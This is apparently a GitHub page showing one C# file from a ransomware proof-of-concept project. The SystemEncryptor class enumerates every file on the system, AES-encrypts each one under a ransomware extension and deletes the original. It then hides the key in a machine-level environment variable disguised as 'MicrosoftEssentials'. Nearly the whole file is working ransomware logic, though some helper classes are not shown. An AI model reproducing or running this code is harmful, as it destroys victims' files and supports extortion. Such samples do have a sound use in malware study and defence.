-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathSystemEncryptor.cs
72 lines (57 loc) · 2.27 KB
/
SystemEncryptor.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime;
namespace Ilay_sRanomwarePoc
{
static class SystemEncryptor
{
private static readonly List<string> SystemDataBase;
static SystemEncryptor() //importing the database utility
{
SystemDataBase = FileHandlingUtilities.GetAllFileSystem();
}
public static void EncryptSystem()
{
int FailedFiles = 0;
try
{
//iterate each file
foreach (string File in SystemDataBase)
{
try
{
Byte[] RawData = FileHandlingUtilities.GetsRawFileContent(File); //The original file data
Byte[] EncryptedData = AesEncryption.EncryptDataStream(RawData); //The encrypted file data
FileHandlingUtilities.CreateFileForEncryption(File, EncryptedData);// creating a new file under <file>.{RansomwareExtension} with encrypted content
FileHandlingUtilities.DeleteSourceFile(File); //Deleting the original source file
}
catch
{
FailedFiles++;
Console.WriteLine($"{FailedFiles} Files where failed to get encrypted");
}
}
Console.WriteLine($"System encryption suceeded-{FailedFiles} where failed to get encrypted");
}
catch
{
Console.WriteLine("System iteration failed");
}
}
public static void HidEncryptionKey()
{
try
{
string name = "MicrosoftEssentials";
string key = AesEncryption.ConvertByteToString(AesEncryption.GetEncryptionPublicKey());
//hiding key as an environment variable named MicrosoftEssentials
Environment.SetEnvironmentVariable(name, key, EnvironmentVariableTarget.Machine);
}
catch
{
Console.WriteLine("An Error while hiding key");
}
}
}
}